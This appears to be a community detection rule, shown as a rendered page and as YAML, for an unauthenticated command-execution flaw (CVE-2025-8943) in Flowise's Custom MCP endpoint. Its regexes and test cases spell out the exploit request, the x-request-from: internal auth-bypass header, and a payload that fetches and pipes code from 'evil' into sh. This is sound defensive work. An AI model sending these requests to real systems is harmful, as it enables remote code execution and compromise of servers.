Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)

Detects CVE-2025-8943 (CVSS 9.8 CRITICAL, CWE-78): Flowise < 3.0.1 exposes the Custom MCP feature via the POST /api/v1/node-load-method/customMCP endpoint, which passes inputs.mcpServerConfig.command + args directly into StdioClientTransport (unsandboxed OS exec). With loadMethod set to "listActions" and no FLOWISE_USERNAME/ PASSWORD configured, an attacker reaches RCE unauthenticated using the x-request-from: internal header. This rule keys on the specific endpoint path, the mcpServerConfig+loadMethod:listActions exploit triple, and the internal-header auth bypass — NOT on generic command/args MCP config which is benign and ubiquitous.

Response Actions

References

1. 01

   Flowise customMCP node-load-method endpoint combined with the mcpServerConfig payload and loadMethod:listActions probe — the exact CVE-2025-8943 RCE request shape

   field: contentop: regex
2. 02

   inputs.mcpServerConfig.command JSON body paired with loadMethod listActions — the Custom MCP command-exec trigger used in the PoC

   field: contentop: regex
3. 03

   x-request-from: internal auth-bypass header combined with the customMCP endpoint or mcpServerConfig — unauthenticated RCE path for default installs

   field: contentop: regex
4. 04

   explicit CVE framing tied to the Flowise customMCP sink

   field: contentop: regex

Attack Examples (Rule Triggers)

1. POST /api/v1/node-load-method/customMCP {"inputs":{"mcpServerConfig":{"command":"touch","args":["/tmp/yofitofi"]}},"loadMethod":"listActions"}

2. {"inputs": {"mcpServerConfig": {"command": "bash", "args": ["-c", "curl http://evil/x|sh"]}}, "loadMethod": "listActions"}

3. curl -H "x-request-from: internal" http://target:3000/api/v1/node-load-method/customMCP -d @payload --mcpServerConfig command

4. CVE-2025-8943 Flowise RCE: send mcpServerConfig command/args to node-load-method/customMCP with loadMethod listActions

Real-world attack payloads, sanitized and versioned alongside the rule as regression tests — so a future revision can't silently stop catching them.

Benign Examples (Rule Doesn't Trigger)

1. Standard benign MCP server config with command/args but no Flowise endpoint, mcpServerConfig, or listActions

   {"command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/data"]}

2. Benign mention of the node-load-method endpoint with no mcpServerConfig payload or loadMethod listActions

   In Flowise, the node-load-method endpoint loads available node parameters when you open a node in the canvas editor.

3. Real Custom MCP config wiring a legitimate server — loadMethod is not the listActions probe used by the exploit

   {"mcpServerConfig": {"command": "npx", "args": ["@my-org/mcp-server"]}, "loadMethod": "loadConfig"}

4. Mitigation advisory referencing the CVE without any exploit payload or auth-bypass header

   Upgrade Flowise to 3.0.1 to patch CVE-2025-8943; the fix adds authentication to the Custom MCP node.

Known False Positive Contexts

• ▸Legitimate Flowise Custom MCP node configuring a real local MCP server (e.g. command npx, args @modelcontextprotocol/server-filesystem) without the listActions loadMethod probe shape.
• ▸Generic MCP server JSON config containing command/args keys, which is standard and benign across thousands of MCP clients.
• ▸Flowise documentation or patch advisory referencing the node-load-method endpoint without an exploit payload or the internal auth-bypass header.

title: "Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)"
id: ATR-2026-01965
rule_version: 1
status: draft
description: >
  Detects CVE-2025-8943 (CVSS 9.8 CRITICAL, CWE-78): Flowise < 3.0.1 exposes the
  Custom MCP feature via the POST /api/v1/node-load-method/customMCP endpoint,
  which passes inputs.mcpServerConfig.command + args directly into StdioClientTransport
  (unsandboxed OS exec). With loadMethod set to "listActions" and no FLOWISE_USERNAME/
  PASSWORD configured, an attacker reaches RCE unauthenticated using the
  x-request-from: internal header. This rule keys on the specific endpoint path, the
  mcpServerConfig+loadMethod:listActions exploit triple, and the internal-header auth
  bypass — NOT on generic command/args MCP config which is benign and ubiquitous.
author: "ATR Community"
date: "2026/06/29"
schema_version: "0.1"
detection_tier: pattern
maturity: test
severity: critical
references:
  owasp_llm:
    - "LLM06:2025 - Excessive Agency"
  owasp_agentic:
    - "ASI06:2026 - Tool Misuse"
  mitre_atlas:
    - "AML.T0049 - Exploit Public-Facing Application"
  mitre_attack:
    - "T1190 - Exploit Public-Facing Application"
  cve:
    - "CVE-2025-8943"
metadata_provenance:
  mitre_atlas: human-reviewed
  owasp_llm: human-reviewed
  owasp_agentic: human-reviewed
compliance:
  eu_ai_act:
    - article: "15"
      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
      strength: primary
    - article: "9"
      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
      strength: secondary
  nist_ai_rmf:
    - subcategory: "MP.5.1"
      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
      strength: primary
    - subcategory: "MG.3.2"
      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
      strength: secondary
  iso_42001:
    - clause: "8.1"
      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
      strength: primary
    - clause: "8.3"
      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: Flowise Custom MCP node-load-method OS Command RCE (CVE-2025-8943)."
      strength: secondary
tags:
  category: tool-poisoning
  subcategory: flowise-custommcp-os-command-rce
  scan_target: both
  confidence: high
  source: cve-disclosure
  vendor_sources: flowise-cve-2025-8943
agent_source:
  type: llm_io
  framework:
    - any
  provider:
    - any
detection:
  condition: any
  false_positives:
    - "Legitimate Flowise Custom MCP node configuring a real local MCP server (e.g. command npx, args @modelcontextprotocol/server-filesystem) without the listActions loadMethod probe shape."
    - "Generic MCP server JSON config containing command/args keys, which is standard and benign across thousands of MCP clients."
    - "Flowise documentation or patch advisory referencing the node-load-method endpoint without an exploit payload or the internal auth-bypass header."
  conditions:
    - field: content
      operator: regex
      value: '(?i)node-load-method/customMCP[\s\S]{0,400}mcpServerConfig[\s\S]{0,400}["\x27]?loadMethod["\x27]?\s*[:=]\s*["\x27]listActions["\x27]'
      description: >
        Flowise customMCP node-load-method endpoint combined with the
        mcpServerConfig payload and loadMethod:listActions probe — the exact
        CVE-2025-8943 RCE request shape
    - field: content
      operator: regex
      value: '(?i)mcpServerConfig["\x27]?\s*:\s*\{[\s\S]{0,200}["\x27]command["\x27]?\s*:[\s\S]{0,300}["\x27]?loadMethod["\x27]?\s*:\s*["\x27]listActions["\x27]'
      description: >
        inputs.mcpServerConfig.command JSON body paired with loadMethod
        listActions — the Custom MCP command-exec trigger used in the PoC
    - field: content
      operator: regex
      value: '(?i)x-request-from\s*:\s*internal[\s\S]{0,300}(?:node-load-method/customMCP|mcpServerConfig)'
      description: >
        x-request-from: internal auth-bypass header combined with the customMCP
        endpoint or mcpServerConfig — unauthenticated RCE path for default installs
    - field: content
      operator: regex
      value: '(?i)CVE-2025-8943[\s\S]{0,200}(?:customMCP|mcpServerConfig|node-load-method|StdioClientTransport|listActions)'
      description: "explicit CVE framing tied to the Flowise customMCP sink"
response:
  actions:
    - alert
    - block_input
  message_template: >
    [ATR-2026-01965] CRITICAL: Flowise Custom MCP RCE (CVE-2025-8943, CVSS 9.8) —
    node-load-method/customMCP runs mcpServerConfig.command/args via
    StdioClientTransport, reachable unauthenticated with x-request-from: internal.
    Block this input and upgrade Flowise to >= 3.0.1 (flowise-components >= 3.0.8).
confidence: 85
wild_fp_rate: 0
test_cases:
  true_positives:
    - input: 'POST /api/v1/node-load-method/customMCP {"inputs":{"mcpServerConfig":{"command":"touch","args":["/tmp/yofitofi"]}},"loadMethod":"listActions"}'
      expected: triggered
      description: "Exact JFrog PoC: customMCP endpoint + mcpServerConfig command/args + loadMethod listActions"
    - input: '{"inputs": {"mcpServerConfig": {"command": "bash", "args": ["-c", "curl http://evil/x|sh"]}}, "loadMethod": "listActions"}'
      expected: triggered
      description: "mcpServerConfig.command bash reverse-shell payload with the listActions trigger"
    - input: 'curl -H "x-request-from: internal" http://target:3000/api/v1/node-load-method/customMCP -d @payload --mcpServerConfig command'
      expected: triggered
      description: "Unauthenticated exploit using x-request-from internal header against the customMCP endpoint"
    - input: "CVE-2025-8943 Flowise RCE: send mcpServerConfig command/args to node-load-method/customMCP with loadMethod listActions"
      expected: triggered
      description: "Attack-framing text tying CVE-2025-8943 to the customMCP sink"
  true_negatives:
    - input: '{"command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/data"]}'
      expected: not_triggered
      description: "Standard benign MCP server config with command/args but no Flowise endpoint, mcpServerConfig, or listActions"
    - input: 'In Flowise, the node-load-method endpoint loads available node parameters when you open a node in the canvas editor.'
      expected: not_triggered
      description: "Benign mention of the node-load-method endpoint with no mcpServerConfig payload or loadMethod listActions"
    - input: '{"mcpServerConfig": {"command": "npx", "args": ["@my-org/mcp-server"]}, "loadMethod": "loadConfig"}'
      expected: not_triggered
      description: "Real Custom MCP config wiring a legitimate server — loadMethod is not the listActions probe used by the exploit"
    - input: "Upgrade Flowise to 3.0.1 to patch CVE-2025-8943; the fix adds authentication to the Custom MCP node."
      expected: not_triggered
      description: "Mitigation advisory referencing the CVE without any exploit payload or auth-bypass header"